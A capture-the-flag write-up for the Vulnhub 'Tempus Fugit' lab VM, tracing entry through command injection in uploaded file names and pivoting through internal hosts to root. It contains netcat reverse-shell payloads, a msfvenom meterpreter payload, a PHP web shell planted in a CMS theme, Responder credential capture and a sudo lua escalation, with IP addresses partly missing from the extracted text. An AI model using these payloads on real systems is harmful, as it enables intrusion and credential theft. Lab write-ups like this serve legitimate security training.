Vulnhub - Tempus fugit writeup

Tempus Fugit

Author: DCAU7 4nqr34z

Be warned - this isn’t your traditional VM - there are surprises, and while somethings worked for me, it may very well be different for you. Do not Copy paste things from the writeup try to follow it and


I ran the nmap scan twice just to make sure I am not missing out anything. So there is only one port open, we don’t have choice but to enumerate port 80.


Oh I love these beautifully designed websites.

I ran gobuster on the website but it had wildcard response on meaning it gave 200 for every word in the list. To know more about wildcard response read this.

In the about section we can see the explanation for Tempus fugit phrase but it also talks something about uploading a file and keeping it to FTP server.

We can see an upload option on the top right side. I uploaded a shell and got an error about file types.

Now I don’t know about txt but rtf sounds a bit suspicious. I searched for rtf reverse shell and got link to RCE via rtf files but all the available exploits were for windows system.

Then I decided to intercept the requests while submitting the form and see if I can find something.

I was getting a redirect response in burp but I couldn’t figure out so @4nqr34z gave me a hint. He said play with the file name and see the output in the browser. So I did that, I changed the name of the file as shell.txt;id and sent the request and in my browser I could see output of the id command.

NOTE: if you get confused with all this burp and browser thing then you can just do it but editing your file name and re-uploading it with different commands. Like make a file with name shell.txt;id and upload it you’ll see the output. Then rename the file to shell.txt;ls to see that output and so on.

If we run a command like ls -la we’ll get the following output:

total 44
drwxr-xr-x 1 root root 4096 Aug 14 22:12 .
drwxr-xr-x 1 root root 4096 Aug 12 18:01 ..
drwxr-xr-x 1 root root 4096 Aug 12 10:20 __pycache__
-rw-r--r-- 1 root root 2226 Aug 12 10:20
-rw-r--r-- 1 root root 204 May 17 02:43 prestart.shn
drwxr-xr-x 6 14534190 dialout 4096 Aug 9 12:27 static
-rw-r--r-- 1 root root 2 Aug 14 22:12
drwxr-xr-x 1 14534190 dialout 4096 Aug 12 17:48 templates
drwxr-xr-x 1 root root 4096 Aug 15 05:08 upload
-rw-r--r-- 1 root root 37 May 17 02:43 uwsgi.ini

When I tried to run whoami with the filename as shell.txt;whoami I got root.

This mean that we are running commands with root privilege. But running other commands like for reverse shell or something isn’t easy because if we do something like file.txt; nc -e /bin/sh IP PORT we won’t get anything or maybe an error saying what are you trying to do.

So I decided to read the files name by uploading a filename shell.txt;cat main*.

Note: If we upload a file named shell.txt;cat then the actually extension for the uploaded file will be .py which isn’t allowed.

We can see the python code. It looks like a flask app. I reformatted the code to actually see what was happening.

import os
import urllib.request
from flask import Flask, flash, request, redirect, render_template
from ftplib import FTP
import subprocess

UPLOAD_FOLDER = 'upload'
app = Flask(__name__)
app.secret_key = "mofosecret"
app.config['MAX_CONTENT_LENGTH'] = 2 * 1024 * 1024

@app.route('/', defaults = {
  'path': ''
def catch_all(path):
    cmd = 'fortune -o'
    result = subprocess.check_output(cmd, shell = True)
    return "<h1>400 - Sorry. I didn't find what you where looking for.</h1> <h2>Maybe this will cheer you up:</h2><h3>" + result.decode("utf-8") + "</h3>"

def internal_error(error):
    return "<h1>500?! - What are you trying to do here?!</h1>"

def home():
    return render_template('index.html')

def upload_form():
        return render_template('my-form.html')
    except Exception as e:
        return render_template("500.html", error = str(e))

def allowed_file(filename):
    check = filename.rsplit('.', 1)[1].lower()
    check = check[: 3] in ALLOWED_EXTENSIONS
    return check

@app.route('/upload', methods = ['POST'])
def upload_file():
    if request.method == 'POST':
        if 'file' not in request.files:
            flash('No file part')
            return redirect(request.url)

    file = request.files['file']

    if file.filename == '':
        flash('No file selected for uploading')
        return redirect(request.url)

    if file.filename and allowed_file(file.filename):
        filename = file.filename, filename))
        cmd = "cat " + UPLOAD_FOLDER + "/" + filename
        result = subprocess.check_output(cmd, shell = True)
        flash('File successfully uploaded')
            ftp = FTP('ftp.mofo.pwn')
            ftp.login('someuser', 'b232a4da4c104798be4613ab76d26efda1a04606')
            with open(UPLOAD_FOLDER + "/" + filename, 'rb') as f:
                ftp.storlines('STOR %s' % filename, f)
            flash("Cannot connect to FTP-server")
            return redirect('/upload')
    else :
        flash('Allowed file types are txt and rtf')
        return redirect(request.url)

if __name__ == "__main__":

The first thing we notice is that there is a FTP server in play.

ftp = FTP('ftp.mofo.pwn')
ftp.login('someuser', 'b232a4da4c104798be4613ab76d26efda1a04606')

If we crack the SHA1 i.e b232a4da4c104798be4613ab76d26efda1a04606 we’ll get $HEX[6d6f666f0a]

Decoding 6d6f666f0a hex to text we’ll get mofo 😜😜

And for obvious reason we can’t connect to the FTP server.

I tried reading other files but none of them had anything interesting so I decided to focus on the app’s source code.

If we look in the upload_file() function there is a section that check if the right extension of file is uploaded or not and then process its.

if file.filename and allowed_file(file.filename):
        filename = file.filename, filename))
        cmd = "cat " + UPLOAD_FOLDER + "/" + filename
        result = subprocess.check_output(cmd, shell = True)
        flash('File successfully uploaded')

Here the UPLOAD_FOLDER is upload. So say if we upload shell.txt;id following thing will happen.

  • cmd = “cat upload/shell.txt;id”
  • Then it’s passed to subprocess call that is the reason we see content of our file but when subprocess encounters ; it process the next string as another command so it append the output of id to our file content.

The problem I was having was to figure out why I was getting 501 error when we do something like shell.txt;ls -la /root.

Then I uploaded a file name shell.txt;nc -e sh decimalIP PORT, here the decimalIP is the IPv4 address converted to decimal value using a script @4ndr34z wrote.

NOTE: This whole thing is kind of mess because command injection isn’t working with anything that involves /. So normal commands like ls /root etc wasn’t working.

If we upload the file with that name and our listener listening we’ll get a reverse shell.

Since we got shell as root I immediately cd to /root to get the flag but there was nothing.


I ran the enumeration script

we are root for sure.

There is another user named operator which can access /root with bash.

There was no SUID not even the su or the common ones.

We can’t read any cron file. This confirms that we are in some kind of jail or maybe not.

I started to look in the /root directory and there was a folder name .ncftp

In that I found a file name trace.234 which had an IP address in it.

I decided to port scan that IP address to see if it has to do anything here and I got a port 21 open.

$ for i in $(seq 1 65535); do nc -nvz -w 1 $i 2>&1; done | grep -v "Connection refused"


I connected to the on port 21 using the credentials I found in the i.e someuser:b232a4da4c104798be4613ab76d26efda1a04606.

After login I got credential for some CMS.


Now we just have to find the DAMN CMS.

Again in the /root directory, in a file named .python_history I found credentials and IP for another FTP server.

IP: someuser:myD3#2p$a%s&s

I tried connecting to it but it seemed that that host was down.

I kept on looking for sometime but couldn’t figure out the location for CMS. So again I asked @4ndr34z and he said to scan the subnet so I installed nmap on the system and scanned the subnet

nmap -sn

We’ve got 4 IP


We’ve already scanned the first one from which we got the creds for CMS.

Let’s scan the other two to see if we can find anything good.

  • On we find a DNS port opened.
  • On is the interface we are on right now meaning this is the internal IP of the machine.
  • On we found the FTP server which gave us CMS creds.

Now the only remaining Ip is I ran nmap scan on this.

Since there is proxy we’ll have to use that to access it. Or the better way is to get reverse shell using meterpreter and then use it’s command to portfoward.

Reverse shell with msf

I had to created reverse shell in totatlly different manner.

  • Make a reverse shell code using msfvenom
    • msfvenom -p linux/x86/meterpreter/reverse_tcp lhost= lport=4444 -f elf > shell.elf
  • Then transfer it to the machine using wget
  • chmod +x shell.elf
  • Run msfconsole
    • use exploit/multi/handler
    • set lport 4444
    • set payload linux/x86/meterpreter/reverse_tcp
    • run

  • now run the shell.elf on the system
  • You’ll get a meterpreter shell on this
  • run shell and then run netstat -ntlp and kill the nginx process.

  • Now break out of the normal shell and then run
    • portfwd add -l 8080 -p 8080 -r
  • This way we can connect to port 8080 to find the website which is actually a Apache2 default page.

Before we connect to the website let’s just use dig command to find some domain information. To use dig we’ll have to install bind-tools.

Run -> apk add bind-tools

Now we know that there was ftp.mofo.pwn on so let’s run dig axfr mofo.pwn and see if we can find cms domain.

We are looking for ourcms.mofo.pwn so now let’s just edit the /etc/hosts to be able to access it. ourcms.mofo.pwn

We used local host IP because we are port forwarding.

Now if we visit ourcms.mofo.pwn:8080 we’ll see that CMS


Since this is the GetSimple CMS we can just open the login panel using /admin and then use the creds(admin:hardEnough4u) we found to login.

Now we can see that we are admin so we can just edit the theme to get a reverse shell.

I add <?php exec('nc -e /bin/sh 5689'); ?> to the end of theme code.

Now go to any page and click on the view button to get a shell.

Privilege escalation

I am finally into the main system so now I can run the enumeration script to find a way to escalate to some other user.

There were lot of users but I can’t find anyway to get around anything. That’s when I got another hint to use responder along with wireshark.

I did that, I ran wireshark and along with that I had responder running and then I got the password for adair user.


NOTE: Don’t try to use credentials I found it’s highly likely that your VM will have a different password. So you’ll have to run responder and wireshark to find them.

Using that credentials I su to adair’s account.

Then I decided to read the adair’s email in the /var/mail directory. It had lot of junk information but it also had password for ulla.


And if we go into adair's home directory we’ll see the user.txt

Without thinking much I decided to su to ulla and see if I find anything there.

I then ran sudo -l to see if there is any privilege there. And user ulla had the right to run lua as root.

I searched lua on gtfobins and found the sudo one , gtfobins/lua.

Just run this to get root and then run the file in /root

Thanks for reading, Feedback is always appreciated.

Follow me @0xmzfr for more “Writeups”. And if you’d like to support me considering donating 😄